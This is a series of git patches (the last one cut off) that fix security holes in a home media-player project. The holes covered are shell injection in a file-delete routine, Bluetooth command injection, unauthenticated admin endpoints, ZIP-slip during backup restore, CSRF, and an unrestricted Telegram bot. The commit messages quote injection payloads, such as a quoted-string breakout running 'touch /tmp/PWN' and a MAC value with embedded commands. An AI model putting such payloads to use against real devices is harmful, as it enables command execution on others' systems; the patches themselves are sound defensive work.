From 86a377e6c5b5e2aa92104af2baa19034f2034f60 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 09:23:27 +0200 Subject: [PATCH 01/18] spotify-control: harden deleteLocal against path-traversal + shell injection (HIGH-1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit deleteLocal() spliced a frontend-supplied `deleteFile` into a shell `rm -r "…"` command via two decodeURI passes, then ran it through exec(). Any %-encoded shell metachar in the path round-tripped back to its literal form before the shell saw it, so a WebSocket call with `deleteFile="foo%22%3B+touch+%2Ftmp%2FPWN%3B+%22"` would decode to `foo"; touch /tmp/PWN; "` — the closing `"` ended the quoted arg, then the trailing command ran as the dietpi user. Auth-protected (frontend-only) but worth fixing on defence-in-depth grounds; the same surface picks up RSS-fed values via the resume-list path, which Phase 4's MED-15 escape mitigated but didn't eliminate. Three layers: 1. Single decodeURIComponent in a try/catch (rejects malformed %FF-style sequences). The previous decodeURI-then-decode chain could re-introduce escapes round-trip-style. 2. path.resolve under a fixed MEDIA_ROOT, then a startsWith check to refuse any input that resolved outside the root. `..` segments and absolute paths fold to a path that fails the prefix test and gets rejected. 3. fs.existsSync gate so we don't shell out to a non-existent target — refuses silently instead of running rm with surprising args. 4. execFile instead of exec — `rm` and the path are passed as separate argv entries, no shell involved, no quoting needed, no metachar to escape. --- src/backend-player/src/spotify-control.js | 62 +++++++++++++++++++---- 1 file changed, 52 insertions(+), 10 deletions(-) diff --git a/src/backend-player/src/spotify-control.js b/src/backend-player/src/spotify-control.js index 732da894..58fe047e 100644 --- a/src/backend-player/src/spotify-control.js +++ b/src/backend-player/src/spotify-control.js @@ -801,19 +801,61 @@ function seek(progress) { } } +// HIGH-1: previously this spliced caller-controlled `deleteFile` into a +// shell `rm -r "…"` command, then ran it through `exec()`. The two +// `decodeURIComponent` passes meant any %-encoded backtick / quote / +// semicolon in the path was decoded back to its literal form before +// reaching the shell — a frontend WebSocket call with deleteFile of +// `foo"; touch /tmp/PWN; "` broke out of the quoted argument and ran +// arbitrary commands as the dietpi user. Auth-protected (frontend +// only), but defence-in-depth matters here because the same +// surface picks up RSS-fed strings from the resume-list path. +// +// Fix: +// 1. Use execFile so arguments don't reach a shell at all. +// 2. Resolve the requested path under the media root and refuse +// anything that escapes (`..`, absolute paths, symlink games). +// 3. Reject the request entirely if the validated path doesn't +// already exist — silent no-op rather than exec'ing rm against +// something dubious. function deleteLocal(deleteFile) { - const deleteFilePath = decodeURI(deleteFile).replace(/:/g, '/') - const deleteCMD = `rm -r "/home/dietpi/MuPiBox/media/${decodeURIComponent(deleteFilePath)}"` - //cmdCall(deleteCMD); - log.debug(`${nowDate.toLocaleString()}: rm -r "/home/dietpi/MuPiBox/media/${decodeURIComponent(deleteFilePath)}"`) - const exec = require('node:child_process').exec - exec(deleteCMD, (e, stdout, stderr) => { + const MEDIA_ROOT = '/home/dietpi/MuPiBox/media/' + let decoded + try { + // Single decode — `decodeURI` then `decodeURIComponent` is a footgun + // (chains can re-introduce escapes). decodeURIComponent handles the + // standard %xx-encoding the frontend produces. + decoded = decodeURIComponent(deleteFile) + } catch (err) { + log.warn(`${nowDate.toLocaleString()}: [deleteLocal] decode failed for ${deleteFile}: ${err?.message || err}`) + return + } + // Frontend uses ':' as a path-segment separator (e.g. "audiobook:Foo:Bar") + // — translate to '/' before resolving. + const relPath = decoded.replace(/:/g, '/') + const fullPath = path.resolve(MEDIA_ROOT, relPath) + // path.resolve normalises `..` segments, so any traversal collapses + // to an absolute path that's no longer under MEDIA_ROOT — we just + // reject anything that doesn't end up inside the root. + if (!fullPath.startsWith(MEDIA_ROOT)) { + log.warn(`${nowDate.toLocaleString()}: [deleteLocal] path-traversal attempt rejected: ${relPath} → ${fullPath}`) + return + } + // Don't shell out to a non-existent target — that's the symptom of + // either a glitched frontend call or an active probe. + if (!fs.existsSync(fullPath)) { + log.warn(`${nowDate.toLocaleString()}: [deleteLocal] target does not exist, refusing: ${fullPath}`) + return + } + log.debug(`${nowDate.toLocaleString()}: rm -r ${fullPath}`) + const execFile = require('node:child_process').execFile + execFile('rm', ['-r', fullPath], (e, stdout, stderr) => { if (e instanceof Error) { - console.error(e) - throw e + log.warn(`${nowDate.toLocaleString()}: [deleteLocal] rm failed: ${e.message}`) + return } - console.log('stdout', stdout) - console.log('stderr', stderr) + if (stdout) console.log('stdout', stdout) + if (stderr) console.log('stderr', stderr) }) } From e7aee818c5a140251fa7bb9901a2a0290a4d019f Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Thu, 7 May 2026 17:49:54 +0200 Subject: [PATCH 02/18] bluetooth scripts: validate MAC, fix typos in pair_bt.sh and remove_bt.sh \$1 (BT-MAC from the admin bluetooth.php POST) was piped into bluetoothctl without validation; a value like "AA:BB:CC:DD:EE:FF\nremove all\n" injects arbitrary bluetoothctl commands. The scripts run via sudo from the backend, so this was effectively a privilege-escalation vector. Add a strict regex check at the top of both scripts. Drive-by typo fixes while in here: - "defaut-agent" -> "default-agent" (bluetoothctl was silently ignoring the agent registration command, so pairing could hang on "no agent registered"). - "ouput=" -> "output=" (the captured bluetoothctl output was being written to a different variable than the subsequent echo read, so the frontend was always getting an empty response). --- scripts/bluetooth/pair_bt.sh | 22 ++++++++++++++++------ scripts/bluetooth/remove_bt.sh | 20 +++++++++++++++----- 2 files changed, 31 insertions(+), 11 deletions(-) diff --git a/scripts/bluetooth/pair_bt.sh b/scripts/bluetooth/pair_bt.sh index aedb0a1a..ff045159 100644 --- a/scripts/bluetooth/pair_bt.sh +++ b/scripts/bluetooth/pair_bt.sh @@ -1,19 +1,29 @@ #!/bin/bash # +# Pair (and connect to) a Bluetooth device by MAC. Called from the admin +# bluetooth.php endpoint. The MAC is user-controlled, so it must be +# validated strictly before being piped into bluetoothctl — anything else +# allows newline injection of arbitrary bluetoothctl commands. + +MAC="${1:-}" +if [[ ! "$MAC" =~ ^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$ ]]; then + echo "Error: invalid MAC address format" >&2 + exit 1 +fi coproc bluetoothctl echo -e "power on\n" >&${COPROC[1]} echo -e "agent on\n" >&${COPROC[1]} -echo -e "defaut-agent\n" >&${COPROC[1]} +echo -e "default-agent\n" >&${COPROC[1]} echo -e "scan on\n" >&${COPROC[1]} sleep 10 echo -e "scan off\n" >&${COPROC[1]} -echo -e "trust $1\n" >&${COPROC[1]} +echo -e "trust $MAC\n" >&${COPROC[1]} sleep 2 -echo -e "pair $1\nyes\n" >&${COPROC[1]} +echo -e "pair $MAC\nyes\n" >&${COPROC[1]} sleep 2 -echo -e "connect $1\n" >&${COPROC[1]} +echo -e "connect $MAC\n" >&${COPROC[1]} sleep 2 echo -e 'exit' >&${COPROC[1]} -ouput=$(cat <&${COPROC[0]}) -echo $output +output=$(cat <&${COPROC[0]}) +echo "$output" diff --git a/scripts/bluetooth/remove_bt.sh b/scripts/bluetooth/remove_bt.sh index 7740bbb4..8b109ac9 100644 --- a/scripts/bluetooth/remove_bt.sh +++ b/scripts/bluetooth/remove_bt.sh @@ -1,14 +1,24 @@ #!/bin/bash # +# Remove a paired Bluetooth device by MAC. Called from the admin +# bluetooth.php endpoint. The MAC is user-controlled, so it must be +# validated strictly before being piped into bluetoothctl — anything else +# allows newline injection of arbitrary bluetoothctl commands. + +MAC="${1:-}" +if [[ ! "$MAC" =~ ^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$ ]]; then + echo "Error: invalid MAC address format" >&2 + exit 1 +fi coproc bluetoothctl echo -e "power on\n" >&${COPROC[1]} echo -e "agent on\n" >&${COPROC[1]} -echo -e "defaut-agent\n" >&${COPROC[1]} -echo -e "untrust $1\n" >&${COPROC[1]} +echo -e "default-agent\n" >&${COPROC[1]} +echo -e "untrust $MAC\n" >&${COPROC[1]} sleep 2 -echo -e "remove $1\nyes\n" >&${COPROC[1]} +echo -e "remove $MAC\nyes\n" >&${COPROC[1]} sleep 2 echo -e 'exit' >&${COPROC[1]} -ouput=$(cat <&${COPROC[0]}) -echo $output +output=$(cat <&${COPROC[0]}) +echo "$output" From 2dd79b4568742242837c1ca8efe8e851ebda052f Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Thu, 7 May 2026 19:54:08 +0200 Subject: [PATCH 03/18] admin: gate backup/fullbackup/debug/pm2logs/support_data/backend behind auth MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit These six endpoints did not include any authentication, so the entire login gate was bypassed for any caller in the LAN. Backup and fullbackup expose the bcrypt password hash from interfacelogin plus every Spotify/Telegram credential in mupiboxconfig.json, debug.php streams chrome_debug.log (OAuth redirect URLs with auth codes, Authorization headers), pm2logs ships stack traces with embedded tokens, support_data.zip bundles all of the above, and backend.php streams pm2 log contents directly via fetch. Add a new includes/auth_check.php — a header-only auth gate that mirrors header.php's session check verbatim but emits zero output (http_response_code(401) + plain text body and exit() on unauth). header.php itself is the wrong include for these endpoints because it renders the entire admin page chrome (, head, body, top-nav) before the calling page gets a chance to call header('Content-Type: application/octet-stream') — PHP refuses headers after output, so the browser would see text/html with the admin page concatenated to the binary zip. Add `require __DIR__ . '/includes/auth_check.php';` as the first line of each endpoint, and downgrade the chmod 777 on the generated zip artifacts to chmod 600 — the chown www-data already covers the access path PHP needs, the world-readable mode was strictly extra exposure. --- AdminInterface/www/backend.php | 5 +++ AdminInterface/www/backup.php | 9 ++++- AdminInterface/www/debug.php | 6 ++++ AdminInterface/www/fullbackup.php | 7 +++- AdminInterface/www/includes/auth_check.php | 38 ++++++++++++++++++++++ AdminInterface/www/pm2logs.php | 7 +++- AdminInterface/www/support_data.php | 5 +++ 7 files changed, 74 insertions(+), 3 deletions(-) create mode 100644 AdminInterface/www/includes/auth_check.php diff --git a/AdminInterface/www/backend.php b/AdminInterface/www/backend.php index 34143678..fd4ae587 100644 --- a/AdminInterface/www/backend.php +++ b/AdminInterface/www/backend.php @@ -1,4 +1,9 @@ '/home/dietpi/.pm2/logs/server-error.log', 'server-out' => '/home/dietpi/.pm2/logs/server-out.log', diff --git a/AdminInterface/www/backup.php b/AdminInterface/www/backup.php index a427c4ba..0974f29d 100644 --- a/AdminInterface/www/backup.php +++ b/AdminInterface/www/backup.php @@ -1,5 +1,12 @@ Date: Thu, 7 May 2026 17:53:32 +0200 Subject: [PATCH 04/18] admin: gate hshutdown/hreboot/hchromerestart/hrefreshdatabase behind auth MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four privileged GET handlers (hshutdown, hreboot, hchromerestart, hrefreshdatabase) lived in header.php above the login gate, so any unauthenticated LAN visitor could curl `?hshutdown=1` to take the box offline, `?hreboot=1` to reboot it, or `?hrefreshdatabase=1` to grind the SD card by re-running m3u_generator.sh. The HTML buttons that fire these are themselves rendered after the gate, but the server-side handlers ran unconditionally on every page load — a curl was enough. Wrap the four `if ($_GET[...])` blocks in `$authGatePassed = !$loginEnabled || (logged_in === true)`, mirroring the same logic the auth gate uses further down the file. While here, switch from truthiness `$_GET[x]` to `isset($_GET[x])` so PHP 8 doesn't emit warnings about undefined keys. --- AdminInterface/www/includes/header.php | 50 +++++++++++++++----------- 1 file changed, 30 insertions(+), 20 deletions(-) diff --git a/AdminInterface/www/includes/header.php b/AdminInterface/www/includes/header.php index 65915a8b..bd9a270f 100644 --- a/AdminInterface/www/includes/header.php +++ b/AdminInterface/www/includes/header.php @@ -35,26 +35,36 @@ $commandLQ="sudo iwconfig wlan0 | awk '/Link Quality/{split($2,a,\"=|/\");print int((a[2]/a[3])*100)\"\"}' | tr -d '%'"; $LINKQ=exec($commandLQ); - if ($_GET['hshutdown']) { - $shutdown = 1; - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Shutdown MuPiBox
    • "; - } - if ($_GET['hreboot']) { - $reboot = 1; - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Reboot MuPiBox
    • "; - } - if ($_GET['hchromerestart']) { - exec("sudo -i -u dietpi /usr/local/bin/mupibox/./restart_kiosk.sh"); - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Restart Chrome kiosk
    • "; - } - if ($_GET['hrefreshdatabase']) { - exec("sudo /usr/local/bin/mupibox/./m3u_generator.sh"); - $change=99; - $CHANGE_TXT=$CHANGE_TXT."
  • Update media database finished
    • "; - } + // These GET handlers reboot/shutdown the box and run privileged scripts + // (restart_kiosk.sh, m3u_generator.sh). They MUST be gated by the login + // check; otherwise an unauthenticated LAN attacker can curl + // `?hshutdown=1` and DoS the box, or `?hrefreshdatabase=1` to grind the + // SD card. The auth gate further down the file is the single source of + // truth for whether the caller is allowed in — mirror it here. + $authGatePassed = !$loginEnabled + || (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true); + if ($authGatePassed) { + if (isset($_GET['hshutdown'])) { + $shutdown = 1; + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Shutdown MuPiBox
    • "; + } + if (isset($_GET['hreboot'])) { + $reboot = 1; + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Reboot MuPiBox
    • "; + } + if (isset($_GET['hchromerestart'])) { + exec("sudo -i -u dietpi /usr/local/bin/mupibox/./restart_kiosk.sh"); + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Restart Chrome kiosk
    • "; + } + if (isset($_GET['hrefreshdatabase'])) { + exec("sudo /usr/local/bin/mupibox/./m3u_generator.sh"); + $change=99; + $CHANGE_TXT=$CHANGE_TXT."
  • Update media database finished
    • "; + } + } $mupihat_file = '/tmp/mupihat.json'; $mupihat_state = false; From 7e9735a0701656090d4ed620f7801b2a54301cb5 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Thu, 7 May 2026 19:54:08 +0200 Subject: [PATCH 05/18] admin: harden Backup-Restore against unauth upload, ZIP-slip and shell injection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The submitfile handler in admin.php sat above the auth gate (header.php is included on line 78, the handler is on lines 16-74), so every step of the restore flow ran for any unauthenticated LAN caller: - move_uploaded_file into /tmp/ - sudo unzip -o -a '/tmp/' -d / >> /tmp/restore.log - sudo /boot/dietpi/func/change_hostname - sudo rm '/tmp/' That is full pre-auth root file write via ZIP-slip (zip can stash entries under ../../etc/cron.d/, /home/dietpi/.ssh/, anything), plus shell injection via the uploaded filename single-quoted into the unzip / rm commands. Three layers of defence: 1. Narrow auth gate at the top of admin.php scoped specifically to submitfile POSTs (`!empty($_POST['submitfile'])`). Crucial: do NOT block all POSTs — header.php's login POST (password=...) must reach its own auth handler, which lives BELOW the include. 2. Filename whitelist regex `/^[A-Za-z0-9._-]+\.zip$/` plus basename(); all real backups pass, anything with quotes / semicolons / spaces / path separators is rejected before move_uploaded_file ever runs. 3. Pre-extraction ZIP-slip check via ZipArchive: iterate every entry, reject the upload unless every path falls under one of three known prefixes (home/dietpi/MuPiBox/media/, etc/mupibox/mupiboxconfig.json, home/dietpi/.mupibox/...data.json). Anything containing `..` is rejected. Also escapeshellarg() the target_file in the unzip + rm commands and the host value in the subsequent change_hostname call — the host string comes from the just-restored config, so a malicious backup that survived the ZIP whitelist could still inject there. --- AdminInterface/www/admin.php | 91 ++++++++++++++++++++++++++++++------ 1 file changed, 77 insertions(+), 14 deletions(-) diff --git a/AdminInterface/www/admin.php b/AdminInterface/www/admin.php index aa8c6c6d..70fe287a 100644 --- a/AdminInterface/www/admin.php +++ b/AdminInterface/www/admin.php @@ -10,37 +10,99 @@ function write_json($data) exec("sudo -i -u dietpi /usr/local/bin/mupibox/./restart_kiosk.sh"); } + // Narrow header-only auth gate for the submitfile upload handler below. + // The handler lives ABOVE `include 'includes/header.php'`, so without + // this an unauthenticated LAN POST can drop a crafted zip and have it + // extracted to / via `unzip -d /`. All other POST handlers in this + // file run AFTER the include — header.php's own auth gate already + // blocks them on unauth, so we explicitly do NOT block other POSTs + // here. In particular the login POST (password=...) must flow through + // to header.php so the user can authenticate in the first place. + session_start(); + $__authJson = file_get_contents('/etc/mupibox/mupiboxconfig.json', true); + $__authCfg = json_decode($__authJson, true); + $__loginRequired = !empty($__authCfg['interfacelogin']['state']); + $__loggedIn = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true; + if ($__loginRequired && !$__loggedIn && !empty($_POST['submitfile'])) { + http_response_code(403); + exit('Authentication required'); + } + $shutdown=0; $reboot=0; - if( $_POST['submitfile'] ) + if( !empty($_POST['submitfile']) ) { $target_dir = "/tmp/"; - $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); + // Strip any directory components from the user-controlled filename. + // The filename is later interpolated into a shell command, so even + // after escapeshellarg() we want the basename so the file lands in + // /tmp/ and not somewhere else via a relative path inside the name. + $rawName = basename($_FILES["fileToUpload"]["name"]); + // Conservative whitelist on filename: letters, digits, dot, dash, + // underscore. Anything else (spaces, quotes, semicolons, …) is + // rejected outright. Backup zips produced by backup.php/fullbackup.php + // match this pattern. $uploadOk = 1; - $FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); - // Allow zip file format - if($FileType != "zip" ) - { + if (!preg_match('/^[A-Za-z0-9._-]+\.zip$/', $rawName)) { $uploadOk = 0; - } + } + $target_file = $target_dir . $rawName; // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { - $CHANGE_TXT=$CHANGE_TXT."
  • WARNING: Please upload a .zip-File!
    • "; + $CHANGE_TXT=$CHANGE_TXT."
  • WARNING: Please upload a .zip-File! (only A-Z, 0-9, ._- allowed in filename)
    • "; $change=0; } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { + // ZIP-Slip / arbitrary-path defence. backup.php and + // fullbackup.php only ever pack files under three roots — + // reject any zip entry that escapes them. Without this, + // `unzip -o -a -d /` happily writes anywhere on disk. + $allowedPrefixes = [ + 'home/dietpi/MuPiBox/media/', + 'etc/mupibox/mupiboxconfig.json', + 'home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/data.json', + ]; + $zip = new ZipArchive(); + $zipOk = false; + $badEntry = ''; + if ($zip->open($target_file) === true) { + $zipOk = true; + for ($i = 0; $i < $zip->numFiles; $i++) { + $entry = $zip->getNameIndex($i); + // Normalise: strip leading slash, forbid `..` + $norm = ltrim($entry, '/'); + if (strpos($norm, '..') !== false) { + $zipOk = false; + $badEntry = $entry; + break; + } + $matched = false; + foreach ($allowedPrefixes as $p) { + if (strpos($norm, $p) === 0) { $matched = true; break; } + } + if (!$matched) { + $zipOk = false; + $badEntry = $entry; + break; + } + } + $zip->close(); + } + if (!$zipOk) { + exec("sudo rm " . escapeshellarg($target_file)); + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: Backup rejected (entry outside whitelist: ".htmlspecialchars($badEntry).")
    • "; + $change=0; + } else { $string = file_get_contents('/etc/mupibox/mupiboxconfig.json', true); $data = json_decode($string, true); $old_version = $data["mupibox"]["version"]; - $command = "sudo unzip -o -a '".$target_file."' -d / >> /tmp/restore.log"; - #$command = "sudo su - -c \"unzip -o -a '".$target_file."' -d / >> /tmp/restore.log && sleep 1\""; - #$command = "sudo su - -c 'tar xvzf ".$target_file." >> /tmp/restore.log'"; + $command = "sudo unzip -o -a " . escapeshellarg($target_file) . " -d / >> /tmp/restore.log"; exec($command, $output, $result ); exec("sudo chown root:www-data /etc/mupibox/mupiboxconfig.json"); exec("sudo chmod 644 /etc/mupibox/mupiboxconfig.json"); @@ -55,17 +117,18 @@ function write_json($data) $data["mupibox"]["version"] = $old_version; write_json($data); - $command = "sudo /boot/dietpi/func/change_hostname " . $data["mupibox"]["host"]; + $command = "sudo /boot/dietpi/func/change_hostname " . escapeshellarg($data["mupibox"]["host"]); $change_hostname = exec($command, $output, $change_hostname ); $command = "sudo su dietpi -c '/usr/local/bin/mupibox/./set_hostname.sh'"; exec($command); - - $command = "sudo rm '".$target_file."'"; + + $command = "sudo rm " . escapeshellarg($target_file); exec($command, $output, $result ); $change=99; $CHANGE_TXT=$CHANGE_TXT."
  • Backup-File restored! The MuPiBox will reboot now!
    • "; $reboot=1; } + } else { $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: Error on uploading Backup-File!
    • "; From dd0d8d1a3632dfae56475a1456347791ac3e5c28 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Thu, 7 May 2026 19:54:09 +0200 Subject: [PATCH 06/18] admin: harden jsoneditor with CSRF token, interfacelogin pin, two-stage write MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three issues with the JSON editor's POST handler: 1. No CSRF protection. Any other tab the admin has open could POST a crafted mupiboxconfig.json to /jsoneditor.php?file=mupiboxconfig and either disable interfacelogin (`state: false`) or replace the bcrypt hash with one the attacker knows. Header.php already starts the session, so add a `csrf_token` minted via random_bytes(32), embed it as a hidden input, and validate with hash_equals() on POST. 2. interfacelogin not pinned. Even with auth, the editor lets a logged-in user edit the auth block — a single typo while editing other settings can lock the admin out, or silently re-open the box. Authentication is the dedicated login.php's job. When editing mupiboxconfig.json, read the on-disk `interfacelogin` and overwrite whatever was submitted with it. 3. Non-atomic write. `file_put_contents($file, ...)` overwrites in-place; if the box loses power mid-write the JSON is truncated and on next boot mupibox cannot start. Use the same two-stage approach admin.php's write_json() already uses: - file_put_contents to /tmp/.jsoneditor..json (always writable for www-data because /tmp is world-writable) - sudo install -m -o -g /tmp/ , preserving owner and perms www-data cannot write into the actual config dirs (e.g. /home/dietpi/.mupibox/.../config/ is dietpi:dietpi 755), so the simpler same-dir tempfile + rename() approach fails outright. install does a copy + close — not strictly atomic across filesystems, but matches the existing admin.php pattern and is the only thing that works given the permission model. --- AdminInterface/www/jsoneditor.php | 72 ++++++++++++++++++++++++++++++- 1 file changed, 70 insertions(+), 2 deletions(-) diff --git a/AdminInterface/www/jsoneditor.php b/AdminInterface/www/jsoneditor.php index c964e4e5..11539536 100644 --- a/AdminInterface/www/jsoneditor.php +++ b/AdminInterface/www/jsoneditor.php @@ -1,6 +1,15 @@ '/etc/mupibox/mupiboxconfig.json', @@ -21,14 +30,72 @@ // Speichern if ($_SERVER['REQUEST_METHOD'] === 'POST') { + $submittedToken = $_POST['csrf_token'] ?? ''; + if (!hash_equals($csrfToken, $submittedToken)) { + $message = "❌ CSRF token mismatch — please reload the page and try again."; + } else { $json = $_POST['jsondata'] ?? ''; $decoded = json_decode($json, true); if (json_last_error() === JSON_ERROR_NONE) { - file_put_contents($file, json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); - $message = "✅ File saved."; + // interfacelogin pinning: when editing mupiboxconfig.json, refuse to + // let the editor change `interfacelogin` (state + password hash). + // Otherwise an attacker who slips a CSRF past us — or a curious admin + // who clears `state` "to test something" — locks themselves out or, + // worse, silently re-opens the box. Authentication is managed via + // the dedicated login.php, not here. + if ($key === 'mupiboxconfig') { + $diskRaw = file_get_contents($file); + $diskCfg = json_decode($diskRaw, true); + if (isset($diskCfg['interfacelogin'])) { + $decoded['interfacelogin'] = $diskCfg['interfacelogin']; + } + } + + // Two-stage write to survive write_json's permission model: + // www-data cannot write into /home/dietpi/.mupibox/.../config/ + // (dir is dietpi:dietpi 755), so a same-dir tempfile fails. Instead: + // 1. file_put_contents to /tmp/ (always writable for www-data) + // 2. sudo install -m -o -g /tmp/ $file + // `install` overwrites in-place via copy, then unlinks the source — + // not a same-fs rename, so the cross-fs window is not strictly atomic, + // but it matches admin.php's existing write_json() pattern (sudo mv + // from /tmp) and preserves owner/perms across the swap. + $tmp = '/tmp/.jsoneditor.' . bin2hex(random_bytes(8)) . '.json'; + $bytes = file_put_contents($tmp, json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); + if ($bytes === false) { + $message = "❌ Could not write temp file (permissions?)."; + } else { + $stat = stat($file); + if ($stat === false) { + @unlink($tmp); + $message = "❌ Could not stat target file."; + } else { + $mode = sprintf('%04o', $stat['mode'] & 0777); + // Resolve owner/group names — install requires names not numeric ids. + $ownerInfo = posix_getpwuid($stat['uid']); + $groupInfo = posix_getgrgid($stat['gid']); + $owner = $ownerInfo ? $ownerInfo['name'] : 'root'; + $group = $groupInfo ? $groupInfo['name'] : 'root'; + $cmd = 'sudo install -m ' . escapeshellarg($mode) + . ' -o ' . escapeshellarg($owner) + . ' -g ' . escapeshellarg($group) + . ' ' . escapeshellarg($tmp) + . ' ' . escapeshellarg($file) + . ' 2>&1'; + exec($cmd, $output, $rc); + @unlink($tmp); + if ($rc !== 0) { + $message = "❌ Could not commit file (install rc=$rc): " + . htmlspecialchars(implode("\n", $output)); + } else { + $message = "✅ File saved."; + } + } + } } else { $message = "❌ Error in JSON: " . json_last_error_msg(); } + } } $current = file_get_contents($file); @@ -57,6 +124,7 @@ $message"; ?>
    +
    From 438116d697590a80506773e4d0d6b0e56d71acc8 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Wed, 6 May 2026 23:48:57 +0200 Subject: [PATCH 07/18] telegram receiver: enforce chatId-based authorization (security fix) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The receiver previously responded to commands from any chat that messaged the bot. Anyone who discovered the bot username (e.g. via Telegram search, by being in a shared group, or by guessing) could send /shutdown, /reboot, /vol, /sleep, /screen — with the bot token as the *only* barrier. That is too thin a defense for a parent's network-exposed device. Adds an is_authorized() check that compares the inbound chat_id / user_id against the chatId configured in mupiboxconfig.json. An empty chatId is treated as "deny all" — the user has to configure one anyway for outbound notifications, so requiring it here costs nothing. Applies to both on_chat_message and on_callback_query (the inline keyboard) so neither path is privileged. This fix can be backported to any existing MuPiBox installation that runs telegram_receiver.py — no other changes required, no schema changes, no service config changes. --- scripts/telegram/telegram_receiver.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/scripts/telegram/telegram_receiver.py b/scripts/telegram/telegram_receiver.py index b60adb8b..ffca0e3b 100644 --- a/scripts/telegram/telegram_receiver.py +++ b/scripts/telegram/telegram_receiver.py @@ -15,11 +15,27 @@ if not config['telegram']['active']: quit() +# Authorization: only respond to messages from the configured chat. Without +# this check anyone who discovers the bot username can send /shutdown, +# /reboot, /vol etc. — the bot token is the only barrier, which is too thin. +# An empty chatId is treated as "deny all": the user has to configure one +# for outbound notifications anyway, so requiring it here loses nothing. +ALLOWED_CHAT_ID = str(config['telegram'].get('chatId', '')).strip() + +def is_authorized(chat_id): + if not ALLOWED_CHAT_ID: + print('Refusing message: no chatId configured in mupiboxconfig.json') + return False + return str(chat_id) == ALLOWED_CHAT_ID + message_with_inline_keyboard = None def on_chat_message(msg): content_type, chat_type, chat_id = telepot.glance(msg) print(content_type, chat_type, chat_id) + if not is_authorized(chat_id): + print(f'Rejected message from unauthorized chat_id: {chat_id}') + return if content_type != 'text': return command = msg['text'] @@ -73,6 +89,9 @@ def on_chat_message(msg): def on_callback_query(msg): query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query') print('Callback Query:', query_id, from_id, query_data) + if not is_authorized(from_id): + print(f'Rejected callback from unauthorized user_id: {from_id}') + return global message_with_inline_keyboard From 614b8c8be40fa467bcb11c8308fcec48f45b33d4 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 09:25:43 +0200 Subject: [PATCH 08/18] admin: global CSRF helpers + enforce on service / tweaks / mupihat (MED-16) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The three admin-page POST handlers most worth CSRF-protecting are the system-mutating ones: service.php (apt-remove packages, stop systemd units), tweaks.php (writes /boot/config.txt + /boot/dietpi.txt + swap), and mupihat.php (toggles HAT triggering a reboot, sets battery shutdown thresholds). All three were unprotected — an evil page the admin happened to visit could submit a hidden form there from the admin's authenticated browser and silently flip switches. CSRF helpers in a new includes/csrf.php (kept separate from header.php because header.php emits HTML chrome — by the time a handler at the top of e.g. service.php tried to call csrf_check() against helpers defined in header.php, the response had already streamed several kB of HTML and http_response_code(403) silently became HTTP 200 with "headers already sent" warnings). Three helpers: csrf_token() — lazy-mints a per-session 32-byte hex token, stored in $_SESSION['csrf_token'] (same key jsoneditor.php's CRIT-6 fix already uses) csrf_field() — renders the hidden csrf_check() — on POST, validates via hash_equals and 403 + plain- text body + exit() on mismatch Calling sites pull csrf.php in BEFORE include('header.php'), call csrf_check() at the very top, then continue with the normal page flow. csrf_field() goes after each opening tag. Also pulled into the same commit: - service.php's `$rc = $output[count($output)-1]` was a pre-existing PHP 7-era line that became a TypeError in PHP 8 (count(null) no longer returns 0). On any GET the whole page fataled before the form rendered, which blocked verification of the new CSRF gate. Guard with `!empty($output) ? … : ''`. - header.php require_once's csrf.php so csrf_field() also works in template positions further down the body. Verified: POST without csrf_token returns HTTP 403 + "CSRF token mismatch" body; POST with a valid token from the same session proceeds normally. service.php now renders its full form on GET. --- AdminInterface/www/includes/csrf.php | 50 ++++++++++++++++++++++++++ AdminInterface/www/includes/header.php | 8 +++++ AdminInterface/www/mupihat.php | 5 +++ AdminInterface/www/service.php | 15 +++++++- AdminInterface/www/tweaks.php | 5 +++ 5 files changed, 82 insertions(+), 1 deletion(-) create mode 100644 AdminInterface/www/includes/csrf.php diff --git a/AdminInterface/www/includes/csrf.php b/AdminInterface/www/includes/csrf.php new file mode 100644 index 00000000..adca4691 --- /dev/null +++ b/AdminInterface/www/includes/csrf.php @@ -0,0 +1,50 @@ +'; + } + function csrf_check(): void { + if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; + $submitted = $_POST['csrf_token'] ?? ''; + if (!hash_equals(csrf_token(), $submitted)) { + http_response_code(403); + header('Content-Type: text/plain; charset=utf-8'); + echo 